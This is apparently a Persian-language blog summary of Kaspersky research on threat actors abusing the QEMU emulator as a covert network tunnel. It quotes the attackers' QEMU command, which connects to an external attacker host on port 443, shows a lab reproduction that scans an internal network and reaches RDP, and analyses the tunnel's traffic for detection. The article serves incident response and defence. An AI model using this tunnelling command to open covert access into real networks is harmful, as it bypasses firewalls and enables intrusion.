مهاجمین سایبری هنگام انجام مراحل مختلف حمله ، بیشتر ترجیح میدن تا از ابزارهای قانونی استفاده کنم. این کار به دو دلیل انجام میشه :
- فرار از شناسایی
- کاهش هزینه های توسعه ی بدافزار
اسکن شبکه، دامپ حافظه ی پروسس، استخراج داده ها، اجرای فایلها از راه دور و حتی رمزنگاری درایوها ، همگی از طریق ابزارهای قانونی و قابل اعتماد امکانپذیره.
برای بدست آوردن یه جای پای محکم در زیر ساخت هک شده، بازیگران تهدید گزینه های مختلفی دارن :
- استفاده از یک بدافزار
- استفاده از سرورهای RDP یا VPNها (نیاز به اکانتهایی با امتیازات لازم دارن)
- استفاده از ابزارهایی برای Network tunnel و Forward Network Port بین سیستم هک شده و سرور هکر که امکان دور زدن NAT و فایروال و دسترسی به سیستم های داخلی سازمان رو میده. گزینه ای که قراره در این مقاله در موردش صحبت کنیم.
در زیر لیست ابزارهایی رو مشاهده میکنید که محققای کسپرسکی در سه سال گذشته ، موقع پاسخ به حوادث مشاهده کردن :
- Stowaway
- ligolo
- 3proxy
- dog-tunnel
- chisel
- FRP
- ngrok
- gs-netcat
- plink
- iox
- nps
بیشترین مورد ngrok و FRP بوده. ابزارهایی از این جنس ، 10 درصد حملات رو پوشش میدن.
QEMU ابزاری برای تونل زنی :
محققای کسپرسکی چند ماه پیش در حال بررسی یک حادثه ی امنیتی در یک شرکت بزرگ، متوجه فعالیت مخرب در یکی از سیستم های اون شرکت میشن. اومدن آنالیز کردن و متوجه شدن که بازیگران تهدید موارد زیر رو در اون سیستم مستقر و اجرا کردن :
- ابزار اسکن شبکه ی Angry IP Scanner
- ابزار mimikatz که برای استخراج هش ها و تیکتهای Kerberos و پیاده سازی حملات Active Directory استفاده میشه.
- شبیه ساز سخت افزاری QEMU
دو مورد اول براشون اوکی بوده ، اما مورد آخری براشون سوال برانگیز بوده. بازیگران تهدید، چه استفاده از مجازی سازی کردن؟
کیوییامیو (QEMU) یک نرمافزار مجازیساز از نوع مجازیسازی سختافزاری هستش که بصورت یک نرمافزار آزاد توسعه داده میشه. این برنامه توسط Fabrice Bellard نوشته شده و تحت پروانه GPL منتشر میشه. البته قسمتهای مختلفی از کدهای این برنامه تحت پروانههای BSD، LGPL و دیگر پروانههای سازگار با GPL منتشر میشن. این برنامه قادره وضعیت فعلی ماشین رو در جایی ذخیره و سپس بازگردانی کنه، بطوریکه تمامی برنامههای در حال اجرا حفظ بشن. همچنین این برنامه از سکوهای زیادی پشتیبانی میکنه که از جمله اونا عبارتند از IA-32، x86-64، MIPS, SPARC, ARM, PowerPC و … . ماشین مجازی میتونه رابطهای سختافزاری مختلفی از جمله انواع رابطهای شبکه، صدا، تصویر، CDROM و هارد و … داشته باشه. همچنین فرمت فایلی که این برنامه برای هارد دیسکها استفاده میکنه، qcow نام داره.
از این ابزار در امنیت سایبری بیشتر در حوزه ی امنیت اینترنت اشیاء یا IoT استفاده میشه. محققا بجای اینکه مستقیما روی یک دستگاه اینترنت اشیاء مثلا یک مودم کار کنن، میتونن فریمور اونو با QEMU لود کنن و روی نسخه ی مجازی سازی شده کار کنن ،تا هم کار کردن ساده باشه و هم خسارتی به دستگاه وارد نشه.
محققا تونستن ، دستوری که منجر به اجرای QEMU میشه رو، از حافظه ی ماشین هک شده، استخراج کنن و متوجه شدن که بدون LiveCD یا disk image شروع شده که برای QEMU غیرعادیه. در زیر دستور و آرگومانهایی که بازیگران تهدید برای اجرای QEMU استفاده کردن رو مشاهده میکنید :
1 2 3 |
qemu-system-i386.exe -m 1M -netdev user,id=lan,restrict=off -netdev socket,id=sock,connect=<IP>:443 -netdev hubport,id=port-lan,hubid=0,netdev=lan -netdev hubport,id=port-sock,hubid=0,netdev=sock -nographic |
در خصوص دستور:
- <IP> یک آدرس خارجی رو نشون میده.
- m 1M- : مشخص کننده اندازه RAM اختصاص داده شده به ماشین مجازی هستش. در این مورد یک مگابایت هستش که برای سیستم عاملهای رایج یه مقدار ناکافی هستش.
- netdev user,id=lan,restrict=off- : یک virtual network interface با نام lan و از نوع user ایجاد میکنه و به ماشین مجازی این امکان رو میده تا با استفاده از host network stack با دنیای خارج ارتباط برقرار کنه. restrict=off هم محدودیت های ورودی/خروجی رو حذف میکنه.
- netdev socket,id=sock,connect=<IP>:443- : یک اینترفیس شبکه از نوع socket-type و نام sock ایجاد میکنه که امکان اتصال به سرور راه دور رو از طریق IP و پورت مشخص شده فراهم میکنه.
- netdev hubport,id=port-lan,hubid=0,netdev=lan- : یک پورت به virtual hub با hubid=0 اضافه میکنه که به virtual network interface lan متصل هستش.
- netdev hubport,id=port-sock,hubid=0,netdev=sock- : مشابه مورد بالا، یک پورت به virtual hub متصل شده به virtual network interface sock اضافه میکنه.
- nographic : ابزار QEMU رو بدون حالت گرافیکی و با حالت کنسول اجرا میکنه.
آدرس IP استفاده شده از دو نظر توجه محققا رو به خودش جلب کرده :
- یکی اینکه خارجی بوده
- و دوم اینکه مرتبط با شرکت هک شده نبود.
محققا با بررسی اسناد QEMU متوجه شدن که QEMU از ارتباطات بین ماشین مجازی پشتیبانی میکنه. گزینه ی netdev دستگاههای شبکه ای (backend) رو ایجاد میکنه که بعدا میتونن به ماشین مجازی متصل بشن. دستگاههای شبکه مختلف با آرگومانهای مختلف قابل تعریف هستن. در ادامه توضیحی از آرگومانهای netdev استفاده شده ، بیان شده .
user (user network stack) :
ساده ترین راه برای اتصال ماشین مجازی به شبکه هستش. ترافیک از host network stack عبور میکنه و ماشین مجازی مثله یک برنامه معمولی در ماشین میزبان به شبکه متصل میشه.
1 |
qemu-system-x86_64 -netdev user,id=mynet0 -device e1000,netdev=mynet0 |
اینجا mynet0 مشخص کننده ی network backend ID و e1000 مشخص کننده ی آداپتور شبکه (frontend) در داخل ماشین مجازی هستش.
hubport (virtual hub) :
چندین دستگاه شبکه رو مثله یک هاب به هم متصل میکنه.
socket :
ماشین مجازی رو مستقیما از طریق سوکت شبکه برای ایجاد توپولوژی های شبکه VM یا اتصال ماشین های مجازی روی میزبانهای مختلف ، به هم متصل میکنه.
ماشین مجازی 1:
1 |
qemu-system-x86_64 -netdev socket,id=mynet3,listen=:1234 -device e1000,netdev=mynet3 |
ماشین مجازی 2 متصل شده به ماشین مجازی 1 :
1 2 |
qemu-system-x86_64 -netdev socket,id=mynet4,connect=127.0.0.1:1234 -device e1000,netdev=mynet4 |
VM1 روی پورت 1234 در حال شنود هستش و VM2 به اون پورت متصل میشه. مسیری که مهاجمین در پیش گرفتن اینطور بوده که ، یک کلاینت رو در سیستم هک شده راه اندازی کردن و اونو به سرور خودشون متصل کردن. بنابراین از طریق کلاینت، میتونستن به شبکه سیستم هک شده دسترسی داشته باشن. این روش بدلیل اینکه هنگام اجرای QEMU از disk image یا LiveCD استفاده نکردن، هیچ تاثیری روی عملکرد سیستم هک شده نداشته.
محققا ،راهی برای اینکه بدونن ،مهاجمها چطوری QEMU رو ،روی سرور خودشون پیاده سازی کردن نداشتن، بنابراین اومدن از طریق سه سیستم روش بالا رو پیاده سازی کردن:
- InternalHost : سیستمی که در داخل شبکه هستش و به اینترنت دسترسی نداره و سرور RDP رو روی پورت 3389 اجرا میکنه. مثله یه سیستم ایزوله هستش که به اینترنت دسترسی نداره.
- PivotHost : سیستمی که در داخل شبکه و دسترسی به اینترنت داره. مثله سیستمی هستش که توسط مهاجم هک شده و برای دسترسی به InternalHost استفاده میشه.
- AttackerServer : سیستمی که در یک سرور ابری میزبانی میشه و سرور مهاجم رو شبیه سازی میکنه.
هدف اینه که بتونیم از AttackerServer به InternalHost دسترسی داشته باشیم. شکل زیر نشون دهنده طرح کلی تونل زنی هستش.
محققا اومدن QEMU رو روی AttackerServer با یک ماشین مجازی با Kali Linux LiveCD بالا آوردن و یک دستگاه شبکه از نوع socket-type بعنوان اداپتور شبکه به این ماشین مجازی متصل کردن که روی پورت 443 در حال شنود هست.
1 2 |
qemu-system-x86_64 -boot d -cdrom kali-linux-2023.3-live-amd64.iso -m 6048 -device e1000,netdev=n1,mac=52:54:00:12:34:56 -smp 2 -netdev socket,id=n1,listen=:443 |
یه نسخه ی دیگه از QEMU رو در PivotHost بالا آوردن و از طریق دستگاه شبکه ی socket به پورت 443 در AttackerServer که روی کلود میزبانی میشه، متصل کردن. همچنین دستگاه شبکه از نوع user-type از طریق یک هاب همراه با دستگاه شبکه ی socket به هم متصل کردن. گزینه هایی هم که استفاده کردن، مشابه دستوری بوده که مهاجم ازش استفاده کرده.
1 2 3 |
qemu-system-i386.exe -m 1M -netdev user,id=lan,restrict=off -netdev socket,id=sock,connect=<AttackerServer>:443 -netdev hubport,id=port- lan,hubid=0,netdev=lan -netdev hubport,id=port-sock,hubid=0,netdev=sock -nographic |
بعد اجرا، QEMU یک تونل از PivotHost به AttackerServer یا دقیقتر به ماشین مجازی کالی ، ایجاد میکنه و کالی میتونه زیر شبکه ای که PivotHost بهش متصل هست رو اسکن کنه.
همونطور که مشاهده میکنید اسکن، InternalHost رو با IP:192.168.56.109 شناسایی کرده و نشون میده که پورت 3389 روش باز هست. در ادامه محققا اومدن از طریق RDP به InternalHost متصل شدن.
بنابراین محققا به این نتیجه رسیدن که این تکنیک برای دسترسی به شبکه واقعا کار میکنه. این نکته رو هم اضافه کردن، علاوه بر انواع دستگاههایی که در این گزارش منتشر شده، QEMU از دستگاههای دیگه هم پشتیبانی میکنه که میتونه توسط بازیگران تهدید استفاده بشه.
آنالیز ترافیک شبکه ی QEMU :
QEMU از رمزنگاری خاصی برای ترافیک استفاده نمیکنه. پکت های application-level ارسال شده به سرور ، شامل موارد زیر هستش:
- اندازه ی فریم Ethernet (encapsulated Ethernet frame) ، که در شکل زیر به رنگ زرد و با 4 بایت مشخص شده
- و در ادامه خود فریم Ethernet که در شکل زیر به رنگ قرمز مشخص شده.
در شکل بالا همونطور که مشاهده میکنید، اندازه ی فریم 89 (0x59) هستش و بعد از این مقدار هم که خود فریم رو مشاهده میکنید.
با داشتن یک دامپ ترافیک از PivotHost و حذف 58 بایت (TCP: 14 bytes for Ethernet + 20 bytes for IP + 20 bytes for TCP headers + 4 for internal packet size) از ابتدای اون، میتونیم خود ترافیک رو بدست بیاریم. برای این کار می تونیم از ابزار editcap از بسته ی Wireshark استفاده کنیم.
1 |
editcap.exe -L -C 58 original.pcap extracted_traffic.pcap |
خروجی :
منبع :